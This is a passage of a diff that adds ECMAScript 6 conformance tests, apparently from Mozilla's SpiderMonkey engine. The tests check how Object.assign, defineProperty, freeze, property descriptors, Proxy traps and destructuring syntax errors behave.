+ falsyObject.foo = 7;
+
+ var obj = Object.assign({}, falsyObject);
+ assertEq(obj instanceof Object, true);
+ assertEq(obj.foo, 7);
+ }
+
+ assertEq(Object.assign(true, {}) instanceof Boolean, true);
+ assertEq(Object.assign(1, {}) instanceof Number, true);
+ assertEq(Object.assign("string", {}) instanceof String, true);
+ var o = {};
+ assertEq(Object.assign(o, {}), o);
+}
+testToObject();
+
+// Invokes [[OwnPropertyKeys]] on ToObject(source)
+function testOwnPropertyKeys() {
+ assertThrowsInstanceOf(() => Object.assign(null, new Proxy({}, {
+ getOwnPropertyNames: () => { throw new Error("not called"); }
+ })), TypeError);
+
+ var ownKeysCalled = false;
+ Object.assign({}, new Proxy({}, {
+ ownKeys: function() {
+ ownKeysCalled = true;
+ return [];
+ }
+ }));
+ assertEq(ownKeysCalled, true);
+};
+testOwnPropertyKeys();
+
+// Ensure correct property traversal
+function correctPropertyTraversal() {
+ var log = "";
+ var source = new Proxy({a: 1, b: 2}, {
+ ownKeys: () => ["b", "c", "a"],
+ getOwnPropertyDescriptor: function(t, pk) {
+ log += "#" + pk;
+ return Object.getOwnPropertyDescriptor(t, pk);
+ },
+ get: function(t, pk, r) {
+ log += "-" + pk;
+ return t[pk];
+ },
+ });
+ Object.assign({}, source);
+ assertEq(log, "#b-b#c#a-a");
+}
+correctPropertyTraversal();
+
+// Only [[Enumerable]] properties are assigned to target
+function onlyEnumerablePropertiesAssigned() {
+ var source = Object.defineProperties({}, {
+ a: {value: 1, enumerable: true},
+ b: {value: 2, enumerable: false},
+ });
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, false);
+}
+onlyEnumerablePropertiesAssigned();
+
+
+// Enumerability is decided on-time, not before main loop (1)
+function testEnumerabilityDeterminedInLoop1()
+{
+ var getterCalled = false;
+ var sourceTarget = {
+ get a() { getterCalled = true },
+ get b() { Object.defineProperty(sourceTarget, "a", {enumerable: false}) },
+ };
+ var source = new Proxy(sourceTarget, { ownKeys: () => ["b", "a"] });
+ Object.assign({}, source);
+ assertEq(getterCalled, false);
+}
+testEnumerabilityDeterminedInLoop1();
+
+// Enumerability is decided on-time, not before main loop (2)
+function testEnumerabilityDeterminedInLoop2()
+{
+ var getterCalled = false;
+ var sourceTarget = {
+ get a() { getterCalled = true },
+ get b() { Object.defineProperty(sourceTarget, "a", {enumerable: true}) },
+ };
+ var source = new Proxy(sourceTarget, {
+ ownKeys: () => ["b", "a"]
+ });
+ Object.defineProperty(sourceTarget, "a", {enumerable: false});
+ Object.assign({}, source);
+ assertEq(getterCalled, true);
+}
+testEnumerabilityDeterminedInLoop2();
+
+// Properties are retrieved through Get() and assigned onto
+// the target as data properties, not in any sense cloned over as descriptors
+function testPropertiesRetrievedThroughGet() {
+ var getterCalled = false;
+ Object.assign({}, {get a() { getterCalled = true }});
+ assertEq(getterCalled, true);
+}
+testPropertiesRetrievedThroughGet();
+
+// Properties are retrieved through Get()
+// Properties are assigned through Put()
+function testPropertiesAssignedThroughPut() {
+ var setterCalled = false;
+ Object.assign({set a(v) { setterCalled = v }}, {a: true});
+ assertEq(setterCalled, true);
+}
+testPropertiesAssignedThroughPut();
+
+// Properties are retrieved through Get()
+// Properties are assigned through Put(): Existing property attributes are not altered
+function propertiesAssignedExistingNotAltered() {
+ var source = {a: 1, b: 2, c: 3};
+ var target = {a: 0, b: 0, c: 0};
+ Object.defineProperty(target, "a", {enumerable: false});
+ Object.defineProperty(target, "b", {configurable: false});
+ Object.defineProperty(target, "c", {enumerable: false, configurable: false});
+ Object.assign(target, source);
+ checkDataProperty(target, "a", 1, true, false, true);
+ checkDataProperty(target, "b", 2, true, true, false);
+ checkDataProperty(target, "c", 3, true, false, false);
+}
+propertiesAssignedExistingNotAltered();
+
+// Properties are retrieved through Get()
+// Properties are assigned through Put(): Throws TypeError if non-writable
+function propertiesAssignedTypeErrorNonWritable() {
+ var source = {a: 1};
+ var target = {a: 0};
+ Object.defineProperty(target, "a", {writable: false});
+ assertThrowsInstanceOf(() => Object.assign(target, source), TypeError);
+ checkDataProperty(target, "a", 0, false, true, true);
+}
+propertiesAssignedTypeErrorNonWritable();
+
+// Properties are retrieved through Get()
+// Put() creates standard properties; Property attributes from source are ignored
+function createsStandardProperties() {
+ var source = {a: 1, b: 2, c: 3, get d() { return 4 }};
+ Object.defineProperty(source, "b", {writable: false});
+ Object.defineProperty(source, "c", {configurable: false});
+ var target = Object.assign({}, source);
+ checkDataProperty(target, "a", 1, true, true, true);
+ checkDataProperty(target, "b", 2, true, true, true);
+ checkDataProperty(target, "c", 3, true, true, true);
+ checkDataProperty(target, "d", 4, true, true, true);
+}
+createsStandardProperties();
+
+// Properties created during traversal are not copied
+function propertiesCreatedDuringTraversalNotCopied() {
+ var source = {get a() { this.b = 2 }};
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, false);
+}
+propertiesCreatedDuringTraversalNotCopied();
+
+// Properties deleted during traversal are not copied
+function testDeletePropertiesNotCopied() {
+ var source = new Proxy({
+ get a() { delete this.b },
+ b: 2,
+ }, {
+ getOwnPropertyNames: () => ["a", "b"]
+ });
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, false);
+}
+testDeletePropertiesNotCopied();
+
+function testDeletionExposingShadowedProperty()
+{
+ var srcProto = { b: 42 };
+ var src =
+ Object.create(srcProto,
+ { a: { enumerable: true, get: function() { delete this.b; } },
+ b: { value: 2, configurable: true, enumerable: true } });
+ var source = new Proxy(src, { getOwnPropertyNames: () => ["a", "b"] });
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, false);
+}
+testDeletionExposingShadowedProperty();
+
+// Properties first deleted and then recreated during traversal are copied (1)
+function testDeletedAndRecreatedPropertiesCopied1() {
+ var source = new Proxy({
+ get a() { delete this.c },
+ get b() { this.c = 4 },
+ c: 3,
+ }, {
+ getOwnPropertyNames: () => ["a", "b", "c"]
+ });
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, true);
+ assertEq("c" in target, true);
+ checkDataProperty(target, "c", 4, true, true, true);
+}
+testDeletedAndRecreatedPropertiesCopied1();
+
+// Properties first deleted and then recreated during traversal are copied (2)
+function testDeletedAndRecreatedPropertiesCopied2() {
+ var source = new Proxy({
+ get a() { delete this.c },
+ get b() { this.c = 4 },
+ c: 3,
+ }, {
+ ownKeys: () => ["a", "c", "b"]
+ });
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, true);
+ assertEq("c" in target, false);
+}
+testDeletedAndRecreatedPropertiesCopied2();
+
+// String and Symbol valued properties are copied
+function testStringAndSymbolPropertiesCopied() {
+ var keyA = "str-prop";
+ var source = {"str-prop": 1};
+ var target = Object.assign({}, source);
+ checkDataProperty(target, keyA, 1, true, true, true);
+}
+testStringAndSymbolPropertiesCopied();
+
+// Intermediate exceptions stop traversal and throw exception
+function testExceptionsDoNotStopFirstReported1() {
+ var TestError = function TestError() {};
+ var source = new Proxy({}, {
+ getOwnPropertyDescriptor: function(t, pk) {
+ assertEq(pk, "b");
+ throw new TestError();
+ },
+ ownKeys: () => ["b", "a"]
+ });
+ assertThrowsInstanceOf(() => Object.assign({}, source), TestError);
+}
+testExceptionsDoNotStopFirstReported1();
+
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/browser.js b/js/src/tests/ecma_6/Object/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/browser.js
diff --git a/js/src/tests/ecma_6/Object/bug-1150906.js b/js/src/tests/ecma_6/Object/bug-1150906.js
new file mode 100644
index 000000000..27403cccf
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/bug-1150906.js
@@ -0,0 +1,13 @@
+function f(x) {
+ Object.defineProperty(arguments, 0, {
+ get: function() {}
+ });
+ return arguments;
+}
+
+var obj = f(1);
+assertEq(obj[0], undefined);
+assertEq(Object.getOwnPropertyDescriptor(obj, 0).set, undefined);
+assertThrowsInstanceOf(() => { "use strict"; obj[0] = 1; }, TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Object/bug-1206700.js b/js/src/tests/ecma_6/Object/bug-1206700.js
new file mode 100644
index 000000000..4918bcbec
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/bug-1206700.js
@@ -0,0 +1,10 @@
+var x = {};
+Reflect.set(x, "prop", 5, Object.prototype);
+var y = {};
+Reflect.set(y, "prop", 6, Object.prototype);
+assertEq(x.hasOwnProperty("prop"), false);
+assertEq(y.hasOwnProperty("prop"), false);
+assertEq(Object.prototype.hasOwnProperty("prop"), true);
+assertEq(Object.prototype.prop, 6);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Object/defineProperties-order.js b/js/src/tests/ecma_6/Object/defineProperties-order.js
new file mode 100644
index 000000000..417d10183
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/defineProperties-order.js
@@ -0,0 +1,17 @@
+// Based on testcases provided by André Bargull
+
+let log = [];
+let logger = new Proxy({}, {
+ get(target, key) {
+ log.push(key);
+ }
+});
+
+Object.create(null, new Proxy({a: {value: 0}, b: {value: 1}}, logger));
+assertEq(log.join(), "ownKeys,getOwnPropertyDescriptor,get,getOwnPropertyDescriptor,get");
+
+log = [];
+Object.defineProperties({}, new Proxy({a: {value: 0}, b: {value: 1}}, logger));
+assertEq(log.join(), "ownKeys,getOwnPropertyDescriptor,get,getOwnPropertyDescriptor,get");
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/defineProperty-proxy.js b/js/src/tests/ecma_6/Object/defineProperty-proxy.js
new file mode 100644
index 000000000..b5ece940b
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/defineProperty-proxy.js
@@ -0,0 +1,54 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Test details of the implementation of ToPropertyDescriptor exposed to scripts
+// thanks to scriptable proxies.
+
+// A LoggingProxy object logs certain operations performed on it.
+var log = [];
+function LoggingProxy(target) {
+ return new Proxy(target, {
+ has: function (t, id) {
+ log.push("has " + id);
+ return id in t;
+ },
+ get: function (t, id) {
+ log.push("get " + id);
+ return t[id];
+ }
+ });
+}
+
+// Tragically, we use separate code to implement Object.defineProperty on
+// arrays and on proxies. So run the test three times.
+var testSubjects = [
+ {},
+ [],
+ new Proxy({}, {})
+];
+
+for (var obj of testSubjects) {
+ log = [];
+
+ // Object.defineProperty is one public method that performs a
+ // ToPropertyDescriptor call.
+ Object.defineProperty(obj, "x", new LoggingProxy({
+ enumerable: true,
+ configurable: true,
+ value: 3,
+ writable: true
+ }));
+
+ // It should have performed exactly these operations on the proxy, in this
+ // order. See ES6 rev 24 (2014 April 27) 6.2.4.5 ToPropertyDescriptor.
+ assertDeepEq(log, [
+ "has enumerable", "get enumerable",
+ "has configurable", "get configurable",
+ "has value", "get value",
+ "has writable", "get writable",
+ "has get",
+ "has set"
+ ]);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Object/destructuring-shorthand-defaults.js b/js/src/tests/ecma_6/Object/destructuring-shorthand-defaults.js
new file mode 100644
index 000000000..a03dea2a2
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/destructuring-shorthand-defaults.js
@@ -0,0 +1,135 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Ensure that the syntax used in shorthand destructuring with defaults
+// e.g. |{x=1, y=2} = {}| properly raises a syntax error within an object
+// literal. As per ES6 12.2.6 Object Initializer, "NOTE 3."
+
+const SYNTAX_ERROR_STMTS = [
+ // expressions
+ "({x={}={}}),",
+ "({y={x={}={}={}={}={}={}={}={}}={}}),",
+ "({a=1, b=2, c=3, x=({}={})}),",
+ "({x=1, y={z={1}}})",
+ "({x=1} = {y=1});",
+ "({x: y={z=1}}={})",
+ "({x=1}),",
+ "({z={x=1}})=>{};",
+ "({x = ({y=1}) => y})",
+ "(({x=1})) => x",
+ "({e=[]}==(;",
+ "({x=1}[-1]);",
+ "({x=y}[-9])",
+ "({x=y}.x.z[-9])",
+ "({x=y}`${-9}`)",
+ "(new {x=y}(-9))",
+ "new {x=1}",
+ "new {x=1}={}",
+ "typeof {x=1}",
+ "typeof ({x=1})",
+ "({x=y, [-9]:0})",
+ "((({w = x} >(-9)",
+ "++({x=1})",
+ "--{x=1}",
+ "!{x=1}={}",
+ "delete {x=1}",
+ "delete ({x=1})",
+ "delete {x=1} = {}",
+ "({x=1}.abc)",
+ "x > (0, {a = b} );",
+ // declarations
+ "var x = 0 + {a=1} = {}",
+ "let o = {x=1};",
+ "var j = {x=1};",
+ "var j = {x={y=1}}={};",
+ "const z = {x=1};",
+ "const z = {x={y=1}}={};",
+ "const {x=1};",
+ "const {x={y=33}}={};",
+ "var {x=1};",
+ "let {x=1};",
+ "let x, y, {z=1}={}, {w=2}, {e=3};",
+ // array initialization
+ "[{x=1, y = ({z=2} = {})}];",
+ // try/catch
+ "try {throw 'a';} catch ({x={y=1}}) {}",
+ // if/else
+ "if ({k: 1, x={y=2}={}}) {}",
+ "if (false) {} else if (true) { ({x=1}) }",
+ // switch
+ "switch ('c') { case 'c': ({x=1}); }",
+ // for
+ "for ({x=1}; 1;) {1}",
+ "for ({x={y=2}}; 1;) {1}",
+ "for (var x = 0; x < 2; x++) { ({x=1, y=2}) }",
+ "for (let x=1;{x=1};){}",
+ "for (let x=1;{x={y=2}};){}",
+ "for (let x=1;1;{x=1}){}",
+ "for (let x=1;1;{x={y=2}}){}",
+ // while
+ "while ({x=1}) {1};",
+ "while ({x={y=2}}={}) {1};",
+ // with
+ "with ({x=1}) {};",
+ "with ({x={y=3}={}}) {};",
+ "with (Math) { ({x=1}) };",
+ // ternary
+ "true ? {x=1} : 1;",
+ "false ? 1 : {x=1};",
+ "{x=1} ? 2 : 3;",
+]
+
+for (var stmt of SYNTAX_ERROR_STMTS) {
+ assertThrowsInstanceOf(() => {
+ eval(stmt);
+ }, SyntaxError);
+}
+
+const REFERENCE_ERROR_STMTS = [
+ "({x} += {});",
+ "({x = 1}) = {x: 2};",
+]
+
+for (var stmt of REFERENCE_ERROR_STMTS) {
+ assertThrowsInstanceOf(() => {
+ eval(stmt);
+ }, ReferenceError);
+}
+
+// A few tricky but acceptable cases:
+// see https://bugzilla.mozilla.org/show_bug.cgi?id=932080#c2
+
+assertEq((({a = 0}) => a)({}), 0);
+assertEq((({a = 0} = {}) => a)({}), 0);
+assertEq((({a = 0} = {}) => a)({a: 1}), 1);
+
+{
+ let x, y;
+ ({x=1} = {});
+ assertEq(x, 1);
+ ({x=1} = {x: 4});
+ assertEq(x, 4);
+ ({x=1, y=2} = {})
+ assertEq(x, 1);
+ assertEq(y, 2);
+}
+
+{
+ let {x={i=1, j=2}={}}={};
+ assertDeepEq(x, ({}));
+ assertEq(i, 1);
+ assertEq(j, 2);
+}
+
+// Default destructuring values, which are variables, should be defined
+// within closures (Bug 1255167).
+{
+ let f = function(a){
+ return (function({aa = a}){ return aa; })({});
+ };
+ assertEq(f(9999), 9999);
+}
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/duplProps.js b/js/src/tests/ecma_6/Object/duplProps.js
new file mode 100644
index 000000000..41b8d67fb
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/duplProps.js
@@ -0,0 +1,116 @@
+/*
+ * ES6 allows duplicate property names in object literals, even in strict mode.
+ * These tests modify the tests in test262 to reflect this change.
+ */
+
+// test262/ch11/11.1/11.1.5/11.1.5-4-4-a-1-s.js
+a = function() { "use strict"; return { foo: 0, foo : 1 }};
+assertEq(a().foo, 1);
+a = function() { return { foo: 0, foo : 1 }};
+assertEq(a().foo, 1);
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-b-1.js
+a = function() { "use strict"; return { foo : 1, get foo() { return 2; }}};
+assertEq(a().foo, 2);
+a = function() { return { foo : 1, get foo() { return 2;} }};
+assertEq(a().foo, 2);
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-c-1.js
+a = function() { "use strict"; return { get foo() { return 2; }, foo : 1 }};
+assertEq(a().foo, 1);
+a = function() { return { get foo() { return 2; }, foo : 1 }};
+assertEq(a().foo, 1);
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-b-2.js
+a = function() { "use strict"; return { foo : 1, set foo(a) { throw 2; }}};
+try {
+ a().foo = 5;
+ throw new Error("2 should be thrown here");
+} catch (e) {
+ if (e !== 2)
+ throw new Error("2 should be thrown here");
+}
+a = function() { return { foo : 1, set foo(a) { throw 2;} }};
+try {
+ a().foo = 5;
+ throw new Error("2 should be thrown here");
+} catch (e) {
+ if (e !== 2)
+ throw new Error("2 should be thrown here");
+}
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-d-1.js
+a = function() { "use strict"; return { get foo() { return 2; }, get foo() { return 3; } }};
+assertEq(a().foo, 3);
+a = function() { return { get foo() { return 2; }, get foo() { return 3; } }};
+assertEq(a().foo, 3);
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-c-2.js
+a = function() { "use strict"; return { set foo(a) { throw 2; }, foo : 1 }};
+assertEq(a().foo, 1);
+a = function() { return { set foo(a) { throw 2; }, foo : 1 }};
+assertEq(a().foo, 1);
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-d-2.js
+a = function() { "use strict"; return { set foo(a) { throw 2; }, set foo(a) { throw 3; }}};
+try {
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+a = function() { return { set foo(a) { throw 2; }, set foo(a) { throw 3; }}};
+try {
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-d-3.js
+a = function() { "use strict"; return { get foo() { return 2; }, set foo(a) { throw 3; },
+ get foo() { return 4; }}};
+try {
+ assertEq(a().foo, 4);
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+a = function() { return { get foo() { return 2; }, set foo(a) { throw 3; },
+ get foo() { return 4; }}};
+try {
+ assertEq(a().foo, 4);
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-d-4.js
+a = function() { "use strict"; return { set foo(a) { throw 2; }, get foo() { return 4; },
+ set foo(a) { throw 3; }}};
+try {
+ assertEq(a().foo, 4);
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+a = function() { return { set foo(a) { throw 2; }, get foo() { return 4; },
+ set foo(a) { throw 3; }}};
+try {
+ assertEq(a().foo, 4);
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Object/freeze-proxy.js b/js/src/tests/ecma_6/Object/freeze-proxy.js
new file mode 100644
index 000000000..3d95a28d4
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/freeze-proxy.js
@@ -0,0 +1,27 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+function logProxy(object = {}, handler = {}) {
+ var log = [];
+ var proxy = new Proxy(object, new Proxy(handler, {
+ get(target, propertyKey, receiver) {
+ log.push(propertyKey);
+ return target[propertyKey];
+ }
+ }));
+ return {proxy, log};
+}
+
+// The order of operations is backwards when compared to ES6 draft rev 27
+// (2014 August 24), but see https://bugs.ecmascript.org/show_bug.cgi?id=3215
+// for an explanation on why the spec version is clearly wrong.
+
+var {proxy, log} = logProxy();
+Object.freeze(proxy);
+assertDeepEq(log, ["preventExtensions", "ownKeys"]);
+
+var {proxy, log} = logProxy();
+Object.freeze(Object.freeze(proxy));
+assertDeepEq(log, ["preventExtensions", "ownKeys", "preventExtensions", "ownKeys"]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Object/freeze.js b/js/src/tests/ecma_6/Object/freeze.js
new file mode 100644
index 000000000..18f71f76d
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/freeze.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1076588;
+var summary = "Object.freeze() should return its argument with no conversion when the argument is a primitive value";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.freeze(), undefined);
+assertEq(Object.freeze(undefined), undefined);
+assertEq(Object.freeze(null), null);
+assertEq(Object.freeze(1), 1);
+assertEq(Object.freeze("foo"), "foo");
+assertEq(Object.freeze(true), true);
+if (typeof Symbol === "function") {
+ assertEq(Object.freeze(Symbol.for("foo")), Symbol.for("foo"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/getOwnPropertyDescriptor.js b/js/src/tests/ecma_6/Object/getOwnPropertyDescriptor.js
new file mode 100644
index 000000000..7aaba7b5e
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/getOwnPropertyDescriptor.js
@@ -0,0 +1,35 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1079188;
+var summary = "Coerce the argument passed to Object.getOwnPropertyDescriptor using ToObject";
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => Object.getOwnPropertyDescriptor(), TypeError);
+assertThrowsInstanceOf(() => Object.getOwnPropertyDescriptor(undefined), TypeError);
+assertThrowsInstanceOf(() => Object.getOwnPropertyDescriptor(null), TypeError);
+
+Object.getOwnPropertyDescriptor(1);
+Object.getOwnPropertyDescriptor(true);
+if (typeof Symbol === "function") {
+ Object.getOwnPropertyDescriptor(Symbol("foo"));
+}
+
+assertDeepEq(Object.getOwnPropertyDescriptor("foo", "length"), {
+ value: 3,
+ writable: false,
+ enumerable: false,
+ configurable: false
+});
+
+assertDeepEq(Object.getOwnPropertyDescriptor("foo", 0), {
+ value: "f",
+ writable: false,
+ enumerable: true,
+ configurable: false
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/getOwnPropertySymbols-proxy.js b/js/src/tests/ecma_6/Object/getOwnPropertySymbols-proxy.js
new file mode 100644
index 000000000..56f20afb3
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/getOwnPropertySymbols-proxy.js
@@ -0,0 +1,28 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// getOwnPropertySymbols(proxy) calls the getOwnPropertyNames hook (only).
+
+var symbols = [Symbol(), Symbol("moon"), Symbol.for("sun"), Symbol.iterator];
+var hits = 0;
+
+function HandlerProxy() {
+ return new Proxy({}, {
+ get: function (t, key) {
+ if (key !== "ownKeys")
+ throw new Error("tried to access handler[" + uneval(key) + "]");
+ hits++;
+ return t => symbols;
+ }
+ });
+}
+
+function OwnKeysProxy() {
+ return new Proxy({}, new HandlerProxy);
+}
+
+assertDeepEq(Object.getOwnPropertySymbols(new OwnKeysProxy), symbols);
+assertEq(hits, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Object/getOwnPropertySymbols.js b/js/src/tests/ecma_6/Object/getOwnPropertySymbols.js
new file mode 100644
index 000000000..b92d14ef1
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/getOwnPropertySymbols.js
@@ -0,0 +1,46 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+assertDeepEq(Object.getOwnPropertySymbols({}), []);
+
+// String keys are ignored.
+assertEq(Object.getOwnPropertySymbols({a: 1, b: 2}).length, 0);
+assertEq(Object.getOwnPropertySymbols([0, 1, 2, 3]).length, 0);
+
+// Symbol keys are observed.
+var iterable = {};
+Object.defineProperty(iterable, Symbol.iterator, {
+ value: () => [][Symbol.iterator]()
+});
+assertDeepEq(Object.getOwnPropertySymbols(iterable), [Symbol.iterator]);
+assertDeepEq(Object.getOwnPropertySymbols(new Proxy(iterable, {})), [Symbol.iterator]);
+
+// Test on an object with a thousand own properties.
+var obj = {};
+for (var i = 0; i < 1000; i++) {
+ obj[Symbol.for("x" + i)] = 1;
+}
+assertEq(Object.getOwnPropertyNames(obj).length, 0);
+var symbols = Object.getOwnPropertySymbols(obj);
+assertEq(symbols.length, 1000);
+assertEq(symbols.indexOf(Symbol.for("x0")) !== -1, true);
+assertEq(symbols.indexOf(Symbol.for("x241")) !== -1, true);
+assertEq(symbols.indexOf(Symbol.for("x999")) !== -1, true);
+assertEq(Object.getOwnPropertySymbols(new Proxy(obj, {})).length, 1000);
+
+// The prototype chain is not consulted.
+assertEq(Object.getOwnPropertySymbols(Object.create(obj)).length, 0);
+assertEq(Object.getOwnPropertySymbols(new Proxy(Object.create(obj), {})).length, 0);
+
+// Primitives are coerced to objects; but there are never any symbol-keyed
+// properties on the resulting wrapper objects.
+assertThrowsInstanceOf(() => Object.getOwnPropertySymbols(), TypeError);
+assertThrowsInstanceOf(() => Object.getOwnPropertySymbols(undefined), TypeError);
+assertThrowsInstanceOf(() => Object.getOwnPropertySymbols(null), TypeError);
+for (var primitive of [true, 1, 3.14, "hello", Symbol()])
+ assertEq(Object.getOwnPropertySymbols(primitive).length, 0);
+
+assertEq(Object.getOwnPropertySymbols.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Object/getPrototypeOf.js b/js/src/tests/ecma_6/Object/getPrototypeOf.js
new file mode 100644
index 000000000..71cd30c62
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/getPrototypeOf.js
@@ -0,0 +1,22 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1079090;
+var summary = "Coerce the argument passed to Object.getPrototypeOf using ToObject";
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => Object.getPrototypeOf(), TypeError);
+assertThrowsInstanceOf(() => Object.getPrototypeOf(undefined), TypeError);
+assertThrowsInstanceOf(() => Object.getPrototypeOf(null), TypeError);
+
+assertEq(Object.getPrototypeOf(1), Number.prototype);
+assertEq(Object.getPrototypeOf(true), Boolean.prototype);
+assertEq(Object.getPrototypeOf("foo"), String.prototype);
+if (typeof Symbol === "function") {
+ assertEq(Object.getPrototypeOf(Symbol("foo")), Symbol.prototype);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/getter-name.js b/js/src/tests/ecma_6/Object/getter-name.js
new file mode 100644
index 000000000..601d6b477
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/getter-name.js
@@ -0,0 +1,10 @@
+var BUGNUMBER = 1180290;
+var summary = 'Object accessors should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").get.name, "get __proto__");
+assertEq(Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").set.name, "set __proto__");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/isExtensible.js b/js/src/tests/ecma_6/Object/isExtensible.js
new file mode 100644
index 000000000..f1fa00878
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/isExtensible.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1060873;
+var summary = "Object.isExtensible() should return false when given primitive values as input";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.isExtensible(), false);
+assertEq(Object.isExtensible(undefined), false);
+assertEq(Object.isExtensible(null), false);
+assertEq(Object.isExtensible(1), false);
+assertEq(Object.isExtensible("foo"), false);
+assertEq(Object.isExtensible(true), false);
+if (typeof Symbol === "function") {
+ assertEq(Object.isExtensible(Symbol()), false);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/isFrozen.js b/js/src/tests/ecma_6/Object/isFrozen.js
new file mode 100644
index 000000000..02056802d
--- /dev/null
+++ b/js/src/tests/ecma_6/Object/isFrozen.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1071464;
+var summary = "Object.isFrozen() should return true when given primitive values as input";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.isFrozen(), true);
+assertEq(Object.isFrozen(undefined), true);
+assertEq(Object.isFrozen(null), true);
+assertEq(Object.isFrozen(1), true);
+assertEq(Object.isFrozen("foo"), true);
+assertEq(Object.isFrozen(true), true);
+if (typeof Symbol === "function") {
+ assertEq(Object.isFrozen(Symbol()), true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Object/isSealed.js b/js/src/tests/ecma_6/Object/isSealed.js
new file mode 100644
